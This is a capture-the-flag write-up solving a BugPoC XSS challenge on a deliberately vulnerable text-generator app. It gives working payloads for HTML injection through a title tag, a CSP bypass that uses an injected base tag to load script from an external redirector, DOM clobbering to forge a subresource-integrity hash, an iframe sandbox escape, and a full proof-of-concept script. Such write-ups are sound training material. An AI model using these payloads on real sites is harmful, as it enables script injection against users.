Introduction

On november 5, the announcement above popped up to me and the rules are:

Recon & HTML injection

The Wacky Text Generator is an app to generate custom texts with random colors and fonts as you can see below.


Generating some custom texts, we can notice the content in iframe. Looking at the source code, we figure out:

1
<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>

Let’s navigate to frame.html?param=Hello,%20World!.


We received an error. Let’s look back at the source code to figure out what is happening.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// verify we are in an iframe
if (window.name == 'iframe') {

// securely load the frame analytics code
if (fileIntegrity.value) {

// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);

// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);

}

} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}

The error is quite simple to solve. The window.name is a global variable in which its content is maintained by the browser when we refresh the page (including through different domains) [1].

Thus, we only need to define the content of window.name to iframe before access it.


Along those lines, we found wherein the code we need to focus on. Let’s understand how the user input is handled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function randomInteger(max) {
return Math.floor(Math.random() * Math.floor(max));
}

function makeRandom(element) {
for ( var i = 0; i < element.length; i++) {
var createNewText = '';
var htmlColorTag = 'color:';
for ( var j = 0; j < element[i].textContent.length; j++ ) {
var riFonts = randomInteger(fonts.length);
var riColors = randomInteger(colors.length);
createNewText = createNewText + "<span class='" + fonts[riFonts] + "' style='" + htmlColorTag + colors[riColors] + "'>" + element[i].textContent[j] + "</span>";
}
element[i].innerHTML = createNewText;
}
}

var text = document.getElementsByClassName('text');
makeRandom(text);

When we define the URL parameter param to something, each character is converted into <span> tag via makeRandom function call.


It doest not seem we need to expend a lot of time on it, since each character is in a different tag and we cannot do too much.

Looking back at the source code, it has something really interesting thing which is not handled on the client-side.

1
2
3
<title>
something
</title>

The parameter content is put into a title tag. Let’s try to inject some HTML tag closing the title tag like this </title><h1>something</h1>.


It’s worked! Now let’s try to execute alert(origin) via </title><img src onerror=alert(origin)>.


We got an error about Content-Security policy. Well, from the beginning we already know that we need to bypass it. Let’s see what we are allowed to do with it.

Content-Security policy bypass

Access the CSP Evaluator. That is a nice tool to evaluate CSP.

We only need to send the target URL https://wacky.buggywebsite.com.


Looking at the console of the browser (press F12), we can see an error with GET HTTP request to https://effectrenan.com/files/analytics/js/frame-analytics.js . Hence, we validated what we were thinking before.

There is an important information about CSP we need to note. The target site is setting the directive script-src to nonce, which is used for the browser to verify if a tag is trusted to execute some Javascript code [2]. This nonce is a hash randomly generated by the server in each request made. So we cannot guess it.

The file files/analytics/js/frame-analytics.js is being imported via script tag with a valid nonce because it comes directly from the server. Consequently, we can put any content in it.

Let’s test it. We need to create an HTTP server to receive the request in which it hosts the path file files/analytics/js/frame-analytics.js with the content alert(origin). We can do it with BugPoC’s tools.

Access Mock Endpoint Builder. Configs:

The response header Access-Control-Allow-Origin: * is necessary to allow any site to import the content. Click on Create! button to generate an URL.


The URL looks like: https://mock.bugpoc.ninja/de890d89-f23c-4cde-ac41-028e585860af/m?sig=24c29f888d18bf6c7a9ecda084ab34aae96fa1f27233a70fd56861281c0a541e&statusCode=200&headers=%7B%22Access-Control-Allow-Origin%22%3A%22*%22%7D&body=alert(origin).

We have an HTTP server hosting the content, but it needs to host the content in the path files/analytics/js/frame-analytics.js. So we can use another nice BugPoC’s tool to ignore this path and make a redirect.

Access Flexible Redirector. Put the URL generated before and click on Create! button.


Updating the payload: <title><base href="<Flexible Redirector URL>" />.


We got an error about resources integrity. Let’s understand what it is used for.

1
2
3
4
5
6
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);

To use the attibute integrity, the server needs to generate a hash of the static content and pass it through attribute, meaning a static hash.

Every time the page is loaded, the browser checks if the attribute hash and the content hash that is trying to be loaded is the same [3]. This avoids malicious content to be loaded and executed.

Let’s see where is defined the content of the variable fileIntegrity.

1
2
3
4
5
6
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}

The fileIntegrity is a global variable. Unfortunately, we cannot do the same thing that we did with window.name in the beginning, because this time fileIntegrity is not preserved by the browser when we refresh the page.

DOM clobbering

The big problem with global variables is when we have an HTML injection. It is possible to define some global variables and their attributes through HTML tags [4]. This technique is known as DOM clobbering.

If we execute console.log(window.something), the answer will be the DOM element <div id="something"></div>.


If the HTML tag defined has some attributes, we can access it like this window.something.attribute.

In that case fileIntegrity is accessing the attribute value to get the hash. So we need to find an HTML tag which has the attribute value by default.

1
<input id="fileIntegrity" value="<Our hash>">


Now we only need to get the appropriate hash for alert(origin). This task is simple because when the Integrity exception occurs, it shows sot4TsoYPMqH9HF0f7P0xsez7m6YnNiGcQWr7OJ6FBc=.

But we can generate the same hash with the following command:

1
echo -n "alert(origin)" | openssl dgst -sha256 -binary | openssl base64 -A

Updating the payload:

1
</title><base href="<Flexible Redirector URL>"/ ><input id="fileIntegrity" value="sot4TsoYPMqH9HF0f7P0xsez7m6YnNiGcQWr7OJ6FBc="/>

And again we got one more error. The problem now is about we are executing a Javascript code inside a sandboxed iframe.


Iframe sandbox escape

Let’s look at the attributes of this iframe to see what we can exploit.

1
2
3
4
5
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);

The attribute allow-scripts means we can execute Javascript code and the attribute allow-same-origin means we need to be in the same-origin [5].

Well, actually we are respecting these two rules. The problem is we cannot execute the alert function. For it, we need the flag allow-modals.

To bypass it, we have to remember we are trying to execute Javascript code in the same-origin. In other words, the origin of the iframe (child) and the top frame is the same. Hence, we are not violating the CSP whether we try to execute a Javascript function through the top frame call [2].

Let’s test it on the browser. We need to stay tuned to execute the below command from the child frame.

1
window.top.alert(origin)


Now we need to update the payload again, generating a new base URL to embed the content window.top.alert(origin) and update the hash.

Note: Do not forget to encode the URL. In some cases is necessary because the hash can contain + which means space.

The final payload will be:

1
</title><base href="<Flexible Redirector URL>"/ ><input id="fileIntegrity" value="XpEJ+gEKwLPGlQTkMq/oT4qqwYsW7CzN2xMej0tkB4M="/>

Validation with encoded hash and my own Flexible Redirector URL:

1
</title><base href="https://ax42v6dh5jj4.redir.bugpoc.ninja" /><input id="fileIntegrity" value="XpEJ%2BgEKwLPGlQTkMq%2FoT4qqwYsW7CzN2xMej0tkB4M%3D"/>

Creating the complete Proof-of-Concept

All steps to exploit the XSS we used BugPoC’s tools, but we cannot forget we need to define the content of window.name to iframe before.

Access the front-end template in BugPoc site.

PoC code:

1
2
3
4
5
6
7
8
9
10
11
<script>
function exploit(callback) {
window.name = "iframe";
const url = "https://wacky.buggywebsite.com/frame.html?param=";
const hash = `XpEJ+gEKwLPGlQTkMq/oT4qqwYsW7CzN2xMej0tkB4M=`;
const baseURL = "https://ax42v6dh5jj4.redir.bugpoc.ninja";
const payload = `</title><base href="${baseURL}"/ ><input id="fileIntegrity" value="${hash}"/>`;

window.location = `${url}${encodeURIComponent(payload)}`;
}
</script>

To avoid errors with URL, the function encodeURIComponent is called to make the URL encode.


My own PoC:

Conclusions & Considerations

The challenge was pretty much fun. I could review and practice a lot of my skills, in specific, DOM clobbering.

If you have some doubts or want to give me some feedback, DM me on Twitter. Thanks!

References

  1. Global object - MDN web docs
  2. Content Security Policy - Google Developers
  3. Subresource Integrity - MDN web docs
  4. DOM clobbering - PortSwigger
  5. Iframe - MDN web docs

Discuss on Twitter